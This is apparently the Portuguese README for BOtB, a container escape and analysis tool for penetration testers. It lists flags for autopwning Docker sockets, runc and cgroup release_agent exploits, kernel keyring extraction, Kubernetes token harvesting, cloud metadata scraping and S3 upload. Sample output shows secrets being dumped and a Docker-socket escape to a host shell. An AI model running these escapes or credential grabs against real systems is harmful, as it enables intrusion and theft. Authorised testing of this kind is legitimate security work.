
Uma ferramenta de análise e exploração de contêineres para pentesters e engenheiros.
BOtB é uma ferramenta de análise e exploração de contêineres projetada para ser usada por pentesters e engenheiros, sendo também amigável para CI/CD com tecnologias comuns de CI/CD.
BOtB é uma ferramenta de linha de comando (CLI) que permite:
Para instruções de instalação a partir de binários, visite a Página de Lançamentos.
go get github.com/brompwnie/botb
Compilando o BOtB via Go:
go build
Compilando o BOtB via Make:
make
O BOtB pode ser compilado em um binário para a plataforma alvo e suporta o seguinte uso:
./botb-linux-amd64 -h
-aggr string
Tentar explorar o RuncPWN (padrão "nil")
-always-succeed
Sempre definir o código de saída do BOtB como Zero
-autopwn
Tentar autopwn em soquetes expostos
-cicd
Tentar autopwn mas não abrir TTY, retornar código de saída 1 se bem-sucedido, senão 0
-config string
Carregar configuração de um arquivo yaml fornecido (padrão "nil")
-endpoints string
Fornecer um arquivo de texto com endpoints para usar no teste (padrão "nil")
-find-docker
Tentar encontrar o Dockerd
-find-http
Procurar por Soquetes UNIX Domain disponíveis com HTTP
-find-sockets
Procurar por Soquetes UNIX Domain disponíveis
-hijack string
Tentar sequestrar binários no host (padrão "nil")
-k8secrets
Identificar e Verificar Segredos do K8's
-keyMax int
Faixa máxima de ID de chave (padrão 100000000) e o valor máximo do sistema é 999999999 (padrão 100000000)
-keyMin int
Faixa mínima de ID de chave (padrão 1) (padrão 1)
-metadata
Tentar encontrar serviços de metadados
-path string
Caminho para iniciar a varredura de Soquetes UNIX Domain (padrão "/")
-pwn-privileged string
Fornecer uma carga de comando para tentar explorar o --privilege CGROUP release_agent's (padrão "nil")
-pwnKeyctl
Abusar das chamadas de sistema keyctl e extrair dados de keyrings do Kernel Linux
-recon
Realizar Reconhecimento do Ambiente do Contêiner
-region string
Fornecer uma região AWS, ex: eu-west-2 (padrão "nil")
-rev-dns string
Realizar pesquisas reversas de DNS em uma sub-rede. O parâmetro deve estar em notação CIDR, ex: -rev-dns 192.168.0.0/24 (padrão "nil")
-s3bucket string
Fornecer um nome de bucket para push S3 (padrão "nil")
-s3push string
Enviar um arquivo para S3, ex: Comando completo para enviar para https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME seria: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME (padrão "nil")
-scrape-gcp
Tentar extrair o serviço de metadados do GCP
-verbose
Saída verbosa
-wordlist string
Fornecer uma wordlist (padrão "nil")
O BOtB também pode ser instruído a carregar configurações de um arquivo YAML através do parâmetro config:
#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...
Os seguintes exemplos de uso retornarão um código de saída > 0 por padrão quando uma anomalia for detectada, indicado por "echo $?" que mostra o código de saída do último comando executado.
Mais informações do autor original aqui https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/
#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
[+] Break Out The Box
[*] Attempting to Identify and Extract Keyring Values
[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe
[!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret
[!] Output {
"KeyId": 13738777,
"Valid": true,
"Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
"Type": "keyring",
"Uid": "0",
"Gid": "0",
"Perms": "3f1b0000",
"String_Content": "\ufffd\ufffd\ufffd\u000e",
"Byte_Content": "wP73Dg==",
"Comments": null,
"Subkeys": [
{
"KeyId": 251133632,
"Valid": true,
"Name": "brompwnie_secret",
"Type": "user",
"Uid": "0",
"Gid": "0",
"Perms": "3f010000",
"String_Content": "thetruthisialsoreallyliketrees",
"Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
"Comments": null,
"Subkeys": null,
"Output": ""
}
],
"Output": ""
}
[+] Finished
#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying: https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying: https://kubernetes.default/api/v1/namespaces
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying: https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying: https://kubernetes.default/api/v1/namespaces
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished
Esta abordagem sairá para um TTY interativo no host.
#./bob_linux_amd64 -autopwn=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn: /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ #